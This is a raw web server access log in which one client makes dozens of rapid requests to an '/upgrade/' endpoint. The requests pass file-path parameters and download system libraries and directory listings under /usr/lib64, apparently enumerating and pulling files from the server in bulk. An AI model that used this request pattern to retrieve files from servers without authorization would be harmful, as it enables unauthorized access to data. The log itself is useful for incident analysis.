45.135.193.11 - - [11/Sep/2026:22:56:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl_threads.so.0.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl_threads.so.0.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnbd.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 225039 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnbd.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler.so.106.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1395091 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpoppler.so.106.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-signal.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119048 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-signal.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl-2.1.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115872 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibevent_openssl-2.1.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexif.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 194077 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexif.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil.so.18.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116117 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil.so.18.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysprof-capture-4.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 163125 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsysprof-capture-4.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FScrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104611 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FScrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 169725 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibeconf.so.0.4.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibeconf.so.0.4.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 942695 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 233174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuuid.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuuid.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:24 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fllvm21 HTTP/1.1" 200 6173 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fllvm21" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcursor.so.1.0.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124433 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXcursor.so.1.0.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaudit.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156303 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaudit.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_serialization.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 195770 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_serialization.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdw.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 379156 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdw.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162080 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssrpc.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so.1.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112149 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so.1.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115291 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmaxminddb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 162967 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatk-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjq.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 254401 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjq.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_gui.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115662 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_gui.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107974 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fxml2Conf.sh&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fxml2Conf.sh&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:30 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsecurity HTTP/1.1" 200 9826 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsecurity" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstaudio-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 329172 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstaudio-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153819 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibogg.so.0.8.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123430 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibogg.so.0.8.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-device.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-device.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_swap.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110114 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_swap.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk.so.0.1.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111843 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcanberra-gtk.so.0.1.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdebuginfod-0.194.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125088 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdebuginfod-0.194.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefiboot.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153852 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefiboot.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibibverbs.so.1.15.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164608 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibibverbs.so.1.15.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132287 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-util.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 284752 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-util.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteamdctl.so.0.1.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113217 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteamdctl.so.0.1.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:36 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103770 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLdispatch.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 231078 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGLdispatch.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbytesize.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114568 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbytesize.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmp.so.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 420073 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgmp.so.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiperf.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 186028 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibiperf.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkeyutils.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 168815 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_resolve.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176844 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_resolve.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:39 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgbm HTTP/1.1" 200 6095 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgbm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:40 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fperl5 HTTP/1.1" 200 8428 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fperl5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 181318 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcrypt.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-icu.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutil.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103552 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutil.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so.0.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123098 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-randr.so.0.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:41 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib64&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103790 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib64&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXdamage.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXdamage.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaspell.so.15.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 383805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaspell.so.15.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:56:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbasicobjects.so.0.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbasicobjects.so.0.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
